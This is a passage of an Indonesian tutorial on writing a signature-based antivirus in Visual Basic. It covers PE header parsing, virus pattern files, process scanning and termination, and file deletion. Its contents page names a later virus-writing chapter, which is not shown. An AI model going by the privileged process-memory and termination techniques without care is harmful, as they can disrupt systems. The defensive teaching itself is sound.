Teknik Pembuatan Antivirus- Contoh kajian awal belajar

Pembuatan Program Antivirus

Dengan Visual Basic

 

 

 

 

 

Oleh :

 

Hendra Soewarno

 

 

 

 

 

 

 

Indonesia Programmer

Medan – Indonesia

2006

 

 

Daftar Isi

 

Teknik Pembuatan Antivirus dengan Visual Basic, Halaman 3

Pembuatan Virus dengan Visual Basic, Halaman 44


Teknik Pembuatan Antivirus dengan Visual Basic

 

Makalah ini akan menjelaskan tentang teknik pembuatan Antivirus dengan menggunakan Visual Basic

 

 

 

Gambar 1, Rancangan tampilan dari program Antivirus yang dimaksud.

 

Pertama penulis akan menjelaskan mengapa memilih Visual Basic sebagai alat pengembangan yang digunakan, adapun alasan utama adalah karena bahasa Visual Basic adalah bahasa yang paling banyak dikuasai oleh programmer pemula, sehingga makalah ini memberi manfaat yang seluas-luasnya.

 

Memang penulis menyadari bahwa Visual Basic bukanlah merupakan bukanlah tools yang ideal untuk digunakan untuk pengembangan utility seperti Antivirus baik ditinjau dari kemudahan akses WIN API, kecepatannya.

 

Baiklah, kita tidak perlu berdebat tentang tools yang digunakan, tetapi kita akan lebih konsentrasi tentang teknik pembuatan Antivirus tersebut, jadi anda dapat mengembangkan program Antivirus virus menggunakan bahasa pemrograman yang anda sukai (Borland Delphi maupun C/C++) dengan menggunakan pendekatan algoritma yang dijelaskan oleh algoritma ini.

 

 

Perancangan Aplikasi

 

Adapun logika proses program aplikasi Antivirus yang akan kita bahas adalah sebagai berikut :

Start

Muat Virus Definition

Ambil Process32First

Baca Image Process

Sama dengan pattern virus

Kill Process

Ambil Process32Next

Ada ?

1

ya

tidak

ya

tidak

 

Gambar 5. Flowchart logika proses program penghapus Worm

 

1

Ambil Folder

Ada ?

Ambil Semua Nama File

bin, bat, com, exe,pif, vbs

Cocokan dengan pattern

sama ?

Konfirmasi pemakai

Lakukan aksi sesuai konfirmasi

Ambil Folder Berikutnya

2

ya

tidak

ya

ya

tidak

tidak

Gambar 6. Flowchart logika proses program penghapus Worm (lanjutan)

 

 

 

3

ada terinfeksi ?

Pulihkan Registry

Start

Tampil Proses Log

ya

tidak

 

Gambar 7. Flowchart logika proses program penghapus Worm (lanjutan)

 

Gambaran aplikasi penghapus worm adalah sebagai berikut, mula-mula program akan memuat suatu daftar definisi worm yang berisi pola-pola worm untuk pendeteksian keberadaan process worm di system komputer maupun pada file. Kemudian program akan mengambil semua PID dari semua yang sedang aktif di system komputer, dan selanjutnya mengambil image process berdasarkan PID, dan image dari masing-masing module process ini akan diperiksa dengan mencocokan dengan masing-masing pola worm yang telah dipersiapkan sebelumnya, jika ternyata image tersebut sama dengan salah satu pola, maka program akan menghentikan process berdasarkan PID, dan memberikan pesan kepada pemakai.

 

Tahapan selanjutnya adalah melakukan pencarian file-file yang berada pada system komputer, dengan melakukan proses pengambilan nama file. Berdasarkan nama file tersebut, program akan mengambil data dari file untuk dicocokan dengan masing-masing pola worm yang telah dipersiapkan, jika ternyata image tersebut sama dengan salah satu pola, maka program akan menampilkan informasi kepada user dan menghapus file tersebut.

 

Selanjutnya program akan membersihkan registry yang diekploitasi oleh worms, dengan menghapus maupun mengembalikan nilai defaultnya.

Bagian 1, Teknik penyiapan pattern virus

 

Langkah pertama dari pembuatan program antivirus adalah memiliki pattern dari virus yang akan dikenali oleh program antivirus kita. Program antivirus tidak akan bermanfaat jika tidak didukung oleh virus definition yang lengkap, jadi industri antivirus sangat tergantung dari dukungan sample virus yang dikirim kepada mereka. Walaupun dewasa ini telah dilakukan berbagai pendekatan heuristic dalam pendeteksian program-program virus, tetapi hal tersebut sering tidak efektif karena akan membuat system menjadi rewel dan sering memberikan false alarm dimana program-program utility tertentu dianggap sebagai virus, dan pembuat virus telah memperbaiki teknik pengkodean (polymorphism) sehingga dapat memperdaya program-program antivirus.

 

Tentu saja hal ini membutuhkan penelitian dan analisa yang mendalam sehingga teknik pengumpulan pattern virus menjadi efektif untuk mendeteksi keberadaan process virus dimemory maupun file virus dimedia penyimpanan, dan masalah lain adalah teknik penyiapan pattern virus akan mempengaruhi teknik pendeteksian yang tentu saja sangat menentukan performance dari antivirus yang dibuat, misalnya anda bayangkan pattern virus kita telah berkembang menjadi 100 pattern, dan jumlah file yang akan dideteksi adalah 1000 files, sehingga dilakukan perkalian menjadi 100000 kali proses pendeteksian, bagaimana kalau pattern berkembang menjadi 1000, dan terakhir adalah resource yang digunakan untuk penyimpanan pattern tersebut baik media disk maupun memory yang dikonsumsi.

 

Jadi teknik pembuatan pattern virus merupakan isu yang terpenting dari kesuksesan pendeteksian program antivirus anda, dan perfomancenya, serta resource yang dihabiskan.

 

Ini merupakan bagian yang paling penting dari suatu program antivirus, karena bagaimana pattern virus tersebut dilakukan (mengambil pattern dari file virus), maka dengan cara sebaliknya anda akan mendeteksi keberadaan virus file dan process virus dimemori (dengan membandingkan pattern virus dengan data file dan process).

 

Teknik pendekatan yang digunakan penulis merupakan hasil pengamatan dan penelitian terhadap beberapa program virus yang beredar di Indonesia, seperti varian Brontok dan MyHeart. Pendekatan ini cukup efektif untuk digunakan untuk mengenali keberadaan process virus di memori maupun di file dengan satu pendekatan yang sama.

 

Sebelum kita membahas tentang bagaimana pattern virus diambil, kita akan membahasa tentang struktur PE file yang digunakan pada file executable dilingkungan system operasi Windows.

Struktur file PE

 

Suatu file PE akan diawali dengan suatu DOS Header yang memiliki suatu e_magic number dalam hexa 4D 5A (MZ, lihat gambar dibawah), kemudian pada offset ke 60  atau hexa 3C akan terdapat suatu pointer (e_lfanew) yang menunjuk kelokasi dimana PE file header.

 

Gambar 2, DOS Header dari suatu PE file

 

Pada Visual Basic, Deklarasi struktur data untuk DOS Header dapat dideklarasikan sebagai berikut :

 

Private Type IMAGE_DOS_HEADER

    e_magic As Integer   ”\\ Magic number

    e_cblp As Integer    ”\\ Bytes on last page of file

    e_cp As Integer      ”\\ Pages in file

    e_crlc As Integer    ”\\ Relocations

    e_cparhdr As Integer ”\\ Size of header in paragraphs

    e_minalloc As Integer ”\\ Minimum extra paragraphs needed

    e_maxalloc As Integer ”\\ Maximum extra paragraphs needed

    e_ss As Integer    ”\\ Initial (relative) SS value

    e_sp As Integer    ”\\ Initial SP value

    e_csum As Integer  ”\\ Checksum

    e_ip As Integer  ”\\ Initial IP value

    e_cs As Integer  ”\\ Initial (relative) CS value

    e_lfarlc As Integer ”\\ File address of relocation table

    e_ovno As Integer ”\\ Overlay number

    e_res(0 To 3) As Integer ”\\ Reserved words

    e_oemid As Integer ”\\ OEM identifier (for e_oeminfo)

    e_oeminfo As Integer ”\\ OEM information; e_oemid specific

    e_res2(0 To 9) As Integer ”\\ Reserved words

    e_lfanew As Long ”\\ File address of new exe header

End Type

 

Jika suatu PE file dijalankan pada lingkungan DOS-16 akan mencetak pesan error dan berhenti, sedangkan Windows akan mengikuti pointer ini untuk menuju ke bagian informasi berikutnya.

 

 

 

DOS Header pada beberapa Virus

 

Pada PE file standard kita dapat dengan mudah mendapatkan posisi PE Header, dengan mengambil pointer e_lfanew, tetapi pada beberapa Virus hal tersebut tidak dapat dilakukan, karena mereka telah melakukan modifikasi terhadap DOS Header dengan tujuan mereduksi ukuran dari program Virus.

 

Contoh DOS Header pada Worm Klez yang masih standar.

 

 

 

Gambar 3, DOS Header pada Worm Klez

 

Keterangan Gambar diatas :

Dimana pada offset 3C hexa (e_lfanew) berisi nilai 80 hexa yang merupakan pointer ke lokasi dimana PE header berada, yaitu pada posisi Offset 80 hexa, kalau dilihat pada gambar diatas berisi nilai 50 45 hexa yang merupakan representasi dari nilai ASCII P (50 hexa) dan E (45 hexa).

 

Fakta DOS Header pada Worm Brontok.C

Berdasarkan pengamatan penulis, ternyata pembuat virus telah melakukan modifikasi terhadap PE file dengan mereduksi DOS Header.

 

 

Gambar 4, Header pada Worm Brontok.C

 

Pada gambar diatas kita tidak dapat menggunakan pendekatan sebelumnya untuk menentukan posisi PE header, sehingga perlu dilakukan dengan cara pencarian data “PE”+Chr$(0)+Chr$(0) pada buffer pembacaan file, e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0))

 

Dim sBuffer As String * 512

Dim e_lfanew As Integer

Dim nf As Integer

 

nf = FreeFile

Open sFiles For Binary Access Read As #nf   

Get #nf, , sBuffer

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0))

 

Potongan program diatas akan membuka file untuk diakses dibaca saja secara binary , kemudian membaca 512 bytes pertama dari file ke variable string sBuffer, selanjutnya dilakukan pencarian “PE” + Chr$(0) + Chr$(0), jika ditemukan maka variable e_lfanew akan berisi pointer ke PE Header dan sebaliknya akan berisi 0 (nol).

NT Header

 

Suatu NT Header memiliki struktur data dimana setelah Signature (PE) akan diikuti oleh IMAGE_FILE_HEADER, IMAGE_OPTIONAL_HEADER, dan IMAGE_OPTIONAL_HEADER_NT.

 

Public Type IMAGE_NT_HEADERS

  Signature As Long

  FileHeader As IMAGE_FILE_HEADER

  OptionalHeader  As IMAGE_OPTIONAL_HEADER

  OptionalHeaderNT As IMAGE_OPTIONAL_HEADER_NT

End Type

 

Signature, merupakan data 4 byte yaitu “PE” + Chr$(0) + Chr$(0)

File Header, memiliki struktur data sebagai berikut :

 

Private Type IMAGE_FILE_HEADER

    Machine As Integer

    NumberOfSections As Integer

    TimeDateStamp As Long

    PointerToSymbolTable As Long

    NumberOfSymbols As Long

    SizeOfOptionalHeader As Integer

    Characteristics As Integer

End Type

 

 

 

Gambar 5, Data Image File Header

 

Berdasarkan gambar diatas, maka :

 

Machine (Integer) 4C 01

NumberOfSection (Integer) 02 00

TimeDateStamp (Long) 00 00 00 00

PointerToSymbolTable 00 00 00 00

NumberOfSymbol 00 00 00 00

SizeOfOptionalHeader 4C 01

Characteristics 02 00

 

Optional Header, memiliki struktur data sebagai berikut :

 

Private Type IMAGE_OPTIONAL_HEADER

    Magic As Integer

    MajorLinkerVersion As Byte

    MinorLinkerVersion As Byte

    SizeOfCode As Long

    SizeOfInitializedData As Long

    SizeOfUninitializedData As Long

    AddressOfEntryPoint As Long

    BaseOfCode As Long

    BaseOfData As Long

End Type

 

 

 

 

Gambar 6, Image Optional Header

 

Yang jika diview dengan PE Tools (http://www.uinc.ru), maka adalah sebagai berikut :

 

 

 

Gambar 7, Data Optional Header suatu PE file

Bagaimana kita mempersiapkan virus pattern ?

 

Berdasarkan pengamatan yang dilakukan penulis adalah cukup efektif menggunakan data SizeOfCode dan AddressOfEntryPoint sebagai pattern virus, karena sulit ditemukan dua executable memiliki SizeOfCode dan AddressOfEntryPoint yang sama, kecuali merupakan executable file yang sama, artinya dengan menggunakan data ini kita dapat mengenali file executable virus, karena jika merupakan file virus yang sama maka memiliki data yang sama juga.

 

Public Function AmbilPatternFile(sFiles)

Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS

Dim e_lfanew As Integer

Dim nf As Integer

 

nf = FreeFile

AmbilPatternFile = “”

On Error GoTo Finally

Open sFiles For Binary Access Read As #nf

     

Get #nf, , sBuffer

      

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0))

If e_lfanew > 0 Then

   Seek #nf, e_lfanew

   Get #nf, , ImageNTHeader

   AmbilPatternFile = buatPattern(ImageNTHeader)

End If

Close #nf

Finally:

End Function

 

Potongan program diatas berfungsi mengambil pattern file dari suatu executable :

 

e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0))

 

ambil posisi e_lfanew dengan mencari substring “PE” dalam sBuffer.

 

If e_lfanew > 0 Then

   Seek #nf, e_lfanew

   Get #nf, , ImageNTHeader

   AmbilPatternFile = buatPattern(ImageNTHeader)

End If

 

Jika e_lfanew > nol (ditemukan), maka akan dipindahkan file pointer ke offset dimana file header dimulai dengan perintah Seek #nf, e_lfanew, dan kemudian dilakukan pembacaan ke variable ImageNTHeader dengan perintah Get #nf, , ImageNTHeader, dan selanjutnya akan dipanggil function buatPattern dan melewatkan variable ImageNTHeader sebagai parameter.

 

Variabel ImageNTHeader merupakan variable struktur IMAGE_NT_HEADERS

 

Dim ImageNTHeader As IMAGE_NT_HEADERS

 

Dan struktur IMAGE_NT_HEADER dapat dilihat pada penjelasan sebelumnya.

 

Public Function buatPattern(ImageNTHeader As IMAGE_NT_HEADERS)

buatPattern = Right$(“00000000” + Hex$(ImageNTHeader.OptionalHeader.AddressOfEntryPoint), 8) + _

               Right$(“00000000” + Hex$(ImageNTHeader.OptionalHeader.SizeOfCode), 8)

End Function

 

Function buatPattern akan mengembalikan pattern virus dalam bentuk hexadecimal yang merupakan data AddressOfEntryPoint dan SizeCode.

Menyimpan pattern virus ke file

 

Kita dapat memasukkan pattern virus kedalam program, tetapi tentu saja pendekatan ini tidak efektif, dimana setiap ada pattern baru, maka kita harus melakukan modifikasi terhadap source code dan melakukan kompilasi ulang.

 

Pendekatan lain yang dapat kita lakukan adalah dengan menyimpan pattern virus pada suatu text file terpisah (indoprog.vdf), sehingga setiap adanya pattern virus baru cukup dimasukan kedalam file.

 

Pattern Virus                          Nama virus

XXXXXXXXXXXXXXXXyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

 

Dimana 16 digit pertama adalah pola virus, dan diikuti oleh nama virus.

 

Sehingga :

 

00095F0000095000virus1

0000136000003000virus2

0000135800003000virus3

000070E000002000virus4

dst

 

setiap startup program antivirus cukup membaca semua pattern tersebut ke suatu variable array.

 

Dim PatternCount As Integer

Dim PatternVirus(100) As String

 

Private Sub loadVdf()

Dim cVDF As String

Dim nf As Integer

cVDF = App.Path + “\indoprog.vdf”

nf = FreeFile

PatternCount = 0

Open cVDF For Input As #nf

Do While Not EOF(nf)

   Input #nf, PatternVirus(PatternCount)

   Call lstHistory.AddItem(“Baca : ” + PatternVirus(PatternCount), 0)

   PatternCount = PatternCount + 1

Loop

PatternCount = PatternCount – 1

Close #nf

End Sub

 


Bagian 2, Teknik Mendeteksi process virus dimemori dan menghentikannya

 

Sebagaimana dengan program executable lainnya, pada saat runtime program virus juga berupa process yang aktif dimemory.

 

 

 

Gambar 8, Halaman process pada task manager.

 

Sistem anda terinfeksi virus, maka process dari virus juga akan tampil pada halaman process pada task manager. Jika anda dapat mengenali mana yang merupakan process virus, maka dengan mudah anda dapat melakukan klik pada End Process untuk menghentikannya. Tetapi permasalahannya adalah bagaimana anda dapat memastikan bahwa process tersebut adalah virus tentu saja membutuhkan pengetahuan tersendiri, karena banyak virus menggunakan nama file yang menyerupai program internal Windows sehingga menyulitkan kita untuk membedakan mana yang virus maupun mana yang merupakan program sebenarnya.

 

Untuk dapat melihat data dari process yang lebih terperinci, anda dapat menggunakan software Process Explorer dari sysinternal (http://www.sysinternal.com)

 

 

 

 

Gambar 9, Process yang ditampilkan dengan Process Explorer

 

Pada Gambar diatas, anda dapat membedakan mana yang merupakan System Service dan mana yang merupakan aplikasi yang berjalan dibawah Explorer.exe, serta Description dan Company Name.

Apakah image dari process sama dengan file virus ?

Jawaban sangat tergantung dari file virus tersebut. Banyak file virus menggunakan EXE Packer untuk memperkecil ukurannya pada media penyimpanan maupun transfer data, tetapi pada saat dijalankan tentu saja harus diextract sehingga dalam hal ini image dari process virus akan berbeda dengan file virus.

 

Misalnya program indoprogAV.exe normalnya berukuran 86016 bytes

 

Setelah dilakukan Packer menggunakan UPX, ukurannya menjadi lebih kecil.

 

 

 

Gambar 10, Process UPX

 

yaitu menjadi berukuran 35840 bytes.

 

Berikut ini adalah Optional Header file IndoprogAV.exe sebelum di UPX

 

 

 

Gambar 11, Optional Header file IndoprogAV.exe sebelum UPX

 

Berikut ini adalah Optional Header file IndoprogAV.exe setelah di UPX.

 

 

 

Gambar 12, Optional Header file IndoprogAV.exe setelah UPX

 

Berikut ini adalah Optional Header dari image process IndoprogAV pada saat runtime.

 

 

 

Gambar 11, Optional Header image process IndoprogAV.exe  (UPX)

 

Tetapi berdasarkan pengamatan yang dilakukan oleh penulis, ternyata data AddressOfEntryPoint dan SizeOfCode tidak diubah pada image process, sehingga teknik pendeteksian dengan pola tersebut layak dilakukan.

 

Pada prinsipnya keberadaan process dimemory memiliki PId (Process Id), dan masing-masing process terdiri dari Module-module (terdiri dari executable itu sendiri, dll, dan ocx yang diimport oleh executable tersebut).

Mengambil semua process yang aktif

Untuk mengambil process yang sedang aktif, kita membutuhkan fungsi API seperti :

 

Public Sub periksaProcesses()

Dim hSnapShot As Long

Dim ProcessEntry As PROCESSENTRY32

Dim NextEnumExists As Boolean

Dim Pos As Long

Dim pId As Long

Dim fileName As String

Dim baseName As String

 

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

If hSnapShot = 0 Then

    MsgBox “Failed to create Module and Thread snapshot”

    Exit Sub

End If

 

ProcessEntry.dwSize = Len(ProcessEntry)

NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)

 

While NextEnumExists

    pId = ProcessEntry.th32ProcessID

       

    Pos = InStr(ProcessEntry.szExeFile, Chr(0))

   

    If Pos > 1 Then

        fileName = Left(ProcessEntry.szExeFile, Pos – 1)

        baseName = extractFilename(fileName)

    Else

        fileName = “”

        baseName = “”

    End If

   

    Call lstHistory.AddItem(“Periksa (” + Hex$(pId) + “) ” + fileName, 0)

       

    Call periksaModules(pId)

      

    NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)

Wend

 

Call CloseHandle(hSnapShot)

 

End Sub

 

Dimana deklarasi dari masing-masing fungsi API untuk CreateToolhelp32Snapshot, Process32First, Process32Next, CloseHandle adalah sebagai berikut :

 

Public Declare Function CreateToolhelp32Snapshot Lib “kernel32” _

   (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long

  

Public Declare Function CloseHandle Lib “kernel32” _

   (ByVal hObject As Long) As Long

  

Public Declare Function Process32First Lib “kernel32” _

   (ByVal hSnapShot As Long, ByRef ThreadStruct As PROCESSENTRY32) As Long

  

Public Declare Function Process32Next Lib “kernel32” _

   (ByVal hSnapShot As Long, ByRef ThreadStruct As PROCESSENTRY32) As Long

 

sedangkan TH32CS_SNAPPROCESS merupakan konstanta dengan nilai &H2

 

Public Const TH32CS_SNAPPROCESS  As Long = &H2&

 

Dan PROCESSENTRY32 adalah struktur yang dideklarasikan sebagai berikut :

 

Public Type PROCESSENTRY32

    dwSize As Long

    cntUsage As Long

    th32ProcessID As Long

    th32DefaultHeapID As Long

    th32ModuleID As Long

    cntThreads As Long

    th32ParentProcessID As Long

    pcPriClassBase As Long

    dwFlags As Long

    szExeFile As String * 260

End Type

 

Jika anda memperhatikan koding diatas, maka program akan melakukan looping mulai dari process yang pertama NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry), dan seterusnya dengan NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry).

 

Selanjutnya dalam masing-masing looping akan diambil pId = ProcessEntry.th32ProcessID, dan diextract nama file exe image process tersebut

 

    Pos = InStr(ProcessEntry.szExeFile, Chr(0))

   

    If Pos > 1 Then

        fileName = Left(ProcessEntry.szExeFile, Pos – 1)

        baseName = extractFilename(fileName)

    Else

        fileName = “”

        baseName = “”

    End If

 

Dan masing-masing PId akan dilewatkan sebagai argument pada fungsi Call periksaModules(pId)

 

Memeriksa masing-masing Module dalam Process

 

Setelah mendapatkan process, maka kita perlu memeriksa masing-masing module dalam process untuk mencocokan memory image dari masing-masing module dengan pattern virus yang telah kita persiapkan, jika ternyata ada memory image yang menyerupai pattern virus, maka process pemilik module tersebut harus dihentikan.

 

 

 

Gambar 10, Module dari process zlclient.exe

 

Public Sub periksaModules(pId As Long)

Dim ModuleEntry As TMODULEENTRY32

Dim hProcess As Long

Dim Proceed As Long

Dim hSnapShot As Long

 

Dim lWritten As Long

 

Dim sBuffer As String * 512

Dim ImageNTHeader As IMAGE_NT_HEADERS

 

Dim e_lfanew As Integer

 

Dim Pattern As String

 

Dim i As Integer

 

If GetVersion = VER_PLATFORM_WIN32_NT Then

   If Not SetPrivilege(“SeDebugPrivilege”, True) Then Exit Sub

End If

  

hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)

           

If hProcess <> 0 Then

   hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)

 

   If hSnapShot <> -1 Then

      ModuleEntry.dwSize = Len(ModuleEntry)

      Proceed = Module32First(hSnapShot, ModuleEntry)

 

      Do While Proceed

     

         sBuffer = Space(1024)

     

         If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

            If lWritten > 0 Then

               e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) – 1

               If e_lfanew > 0 Then

                  If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then

                     Pattern = buatPattern(ImageNTHeader)

                     i = 0

                     Do While i <= PatternCount

                        If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

                        i = i + 1

                     Loop

                     If i <= PatternCount Then

                        adaVirus = True

                        Call TerminateProcess(hProcess, 0)

                        Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

                        Call lstHistory.AddItem(“Action: Kill process”, 0)

                     End If

                  End If

               End If

            End If

         End If

        Proceed = Module32Next(hSnapShot, ModuleEntry)

      Loop

   End If

  

   CloseHandle (hSnapShot)

 

End If

 

CloseHandle (hProcess)

 

If GetVersion() = VER_PLATFORM_WIN32_NT Then

   Call SetPrivilege(“SeDebugPrivilege”, False)

End If

End Sub

 

Sebagaimana dengan pengambilan process, pengambilan module-module berdasarkan PId juga membutuhkan fungsi WIN API seperti : OpenProcess, CreateToolhelp32Snapshot, Module32First, Module32Next.

 

Sesuatu yang menjadi permasalahan dalam pengambilan module adalah pada system operasi berbasis NT seperti NT4/2000/XP yang membutuhkan suatu priviledge SeDebugPrivilege.

 

If GetVersion = VER_PLATFORM_WIN32_NT Then

   If Not SetPrivilege(“SeDebugPrivilege”, True) Then Exit Sub

End If

 

Setelah mendapatkan module, maka selanjutnya adalah melakukan ReadProcessMemory yang bertujuan membaca image dari modul.

 

sBuffer = Space(1024)

     

If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

 

Dimana kita persiapkan string buffer yang berukuran 1024 bytes, dan melakukan proses pembacaan image ke variable sBuffer. Sesuatu hal yang perlu diperhatikan adalah pembacaan memori proses didasarkan pada nilai pointer ModuleEntry.modBaseAddr.

 

lWritten akan mengembalikan ukuran byte yang terbaca, sehingga dengan memeriksa nilai lWritten akan diketahui apakah pembacaan berhasil dilakukan. Selanjutnya kita akan mencara posisi offset file Header (e_lfanew), dengan mencari e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) – 1

 

Setelah mendapatkan posisi e_lfanew, maka kita dapat melakukan pembacaan ke variable ImageNTHeader dengan perintah ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) yang secara kongkrit dapat dilihat pada potongan program berikut :

 

         If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then

            If lWritten > 0 Then

               e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) – 1

               If e_lfanew > 0 Then

                  If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then

                     Pattern = buatPattern(ImageNTHeader)

                     i = 0

                     Do While i <= PatternCount

                        If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

                        i = i + 1

                     Loop

                     If i <= PatternCount Then

                        adaVirus = True

                        Call TerminateProcess(hProcess, 0)

                        Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

                        Call lstHistory.AddItem(“Action: Kill process”, 0)

                     End If

                  End If

               End If

            End If

         End If

 

Setelah dibaca memori proses mulai dari offset e_lfanew ke-variabel ImageNTHeader maka dapat dilakukan proses generater PatternVirus, dan selanjutnya dibandingkan dengan pola virus yang dipersiapkan terlebih dahulu.

 

Menghentikan process virus

 

Jika ditemukan pola virus tersebut, berarti proses tersebut merupakan process virus, sehingga harus dihentikan dengan Call TerminateProcess(hProcess, 0)

 


Bagian 3, Mencari semua file virus dimedia penyimpanan

 

Untuk medeteksi semua file virus dimedia penyimpanan harus diawali dengan menggambil semua drive yang terinstalasi pada system komputer, kemudian dilanjutkan untuk pengambilan folder dan sub-sub folder pada masing-masing drive dan folder, dan akhirnya dilanjutkan dengan pengambilan file pada masing-masing folder yang ditemukan.

 

Bagaimana menggambil semua drive ?

 

Untuk menggambil semua drive dari system, kita dapat menggunakan Scripting.FileSystemObject, dan melakukan looping untuk semua drive For Each sDrive In Drives, yang selanjutnya masing-masing drive akan dilewatkan ke fungsi GetFolder.

 

‘Mencari semua drive, dan mendeteksi

Sub periksaDrives()

Dim ObjFSO As Object

Dim Drives As Object

Dim sDrive As Object

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

Set Drives = ObjFSO.Drives

For Each sDrive In Drives

    ‘1 – Removable drive

    ‘2 – Fixed drive (hard disk)

    ‘3 – Mapped network drive

    ‘4 – CD-ROM drive

    ‘5 – RAM disk

If sDrive.DriveType <= 2 Then

   Call GetFiles(sDrive & “\”)

   GetFolders (sDrive & “\”)

End If

Next

End Sub

 

Bagaimana menggambil semua folder dari suatu drive ?

 

Cara penggambilan folder dari drive menyerupai cara menggambil drive, yaitu dengan Scripting.FileSystemObject dan melakukan looping untuk semua SubFolders For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders, Cuma permasalahan yang dihadapi disini adalah masing-masing folder tentu saja mungkin memiliki sub folder dan seterusnya, sehingga masalah tersebut tidak dapat dilakukan dengan sekali looping saja, melainkan harus dilakukan secara Rekursi

 

Function GetFolders(Folder As String)

Dim ObjFSO As Object

Dim sFolder As Object

On Error GoTo Finally

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders

    Call GetFiles(sFolder.Path)

    GetFolders (sFolder.Path)              ‘Rekursi

Next

Finally:

End Function

 

Bagaimana mendeteksi semua file pada Path tertentu ?

 

Berikut ini adalah function untuk Menggambil semua file dari Path yang diberikan, dan memeriksa file dengan extension “bat bin com cmd dll exe ini htt pif”.

 

Function GetFiles(Path As String)

Dim ObjFSO As Object

Dim sFiles As Object

Dim Pattern As String

Dim i As Integer

 

On Error GoTo Finally

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

txtScan.Text = Path

For Each sFiles In ObjFSO.GetFolder(Path).Files

    DoEvents

    If InStr(“bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then

       Pattern = AmbilPatternFile(sFiles)

       If Pattern <> “” Then

          i = 0

          Do While i <= PatternCount

             If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

             i = i + 1

          Loop

  

          If i <= PatternCount Then

             adaVirus = True

             ‘SetAttr sFiles, vbNormal

             ‘Kill sFiles

             Call lstHistory.AddItem(“File :” + sFiles, 0)

             Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

          End If

       End If

    End If

Next

Finally:

End Function

 

Mengambil semua file yang terdapat pada path tertentu :

 

For Each sFiles In ObjFSO.GetFolder(Path).Files

 

    If InStr(“bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then

       Pattern = AmbilPatternFile(sFiles)

       If Pattern <> “” Then

          i = 0

          Do While i <= PatternCount

             If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

             i = i + 1

          Loop

  

          If i <= PatternCount Then

             adaVirus = True

             ‘SetAttr sFiles, vbNormal

             ‘Kill sFiles

             Call lstHistory.AddItem(“File :” + sFiles, 0)

             Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

          End If

       End If

 

Kemudian semua extension yang memenuhi kriteria akan diambil pattern dengan perintah Pattern = AmbilPatternFile(sFiles), dan pattern akan dibandingkan dengan pattern virus yang sudah dipersiapkan sebelumnya (PatternCount adalah variable yang berisi total pattern yang telah dibaca ke variable array PatternVirus) :

 

          Do While i <= PatternCount

             If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

             i = i + 1

          Loop

 

Jika Pattern menyerupai salah satu pattern, maka akan segera keluar dari looping If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do

 

          If i <= PatternCount Then

             adaVirus = True

             SetAttr sFiles, vbNormal

             Kill sFiles

             Call lstHistory.AddItem(“File :” + sFiles, 0)

             Call lstHistory.AddItem(“Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)

          End If

 

Jika looping selesai dengan nilai I <= PatternCount, maka artinya file tersebut merupakan file virus dengan pattern tersebut, dan harus dihapus, tetapi sebelum dilakukan penghapusan harus diset Atribut dari file ke Normal, dan baru dihapus.

 

             SetAttr sFiles, vbNormal

             Kill sFiles

 


Memulihkan registry yang dimodifikasi virus ke kondisi standard

 

Untuk memulihkan registry yang dimodifikasi virus ke kondisi standard merupakan hal yang sulit, karena masing-masing virus melakukan teknik pendekatan pengaktifan, dan perubahan registry yang berbeda-beda, sehingga tidak dimungkinkan untuk mendefinisikan pemulihan untuk masing-masing virus, tetapi yang dapat kita lakukan adalah mencari informasi registry apa saja yang sering dimodifikasi oleh virus dan mengembalikannya ke nilai default.

 

Berikut ini adalah registry yang sering dimodifikasi oleh virus yang kita simpan ke suatu file indoprog.rdf, dimana terdiri dari tiga kolom yaitu Aksi, Key dan nilai Default

 

Aksi dapat berinilai :

 

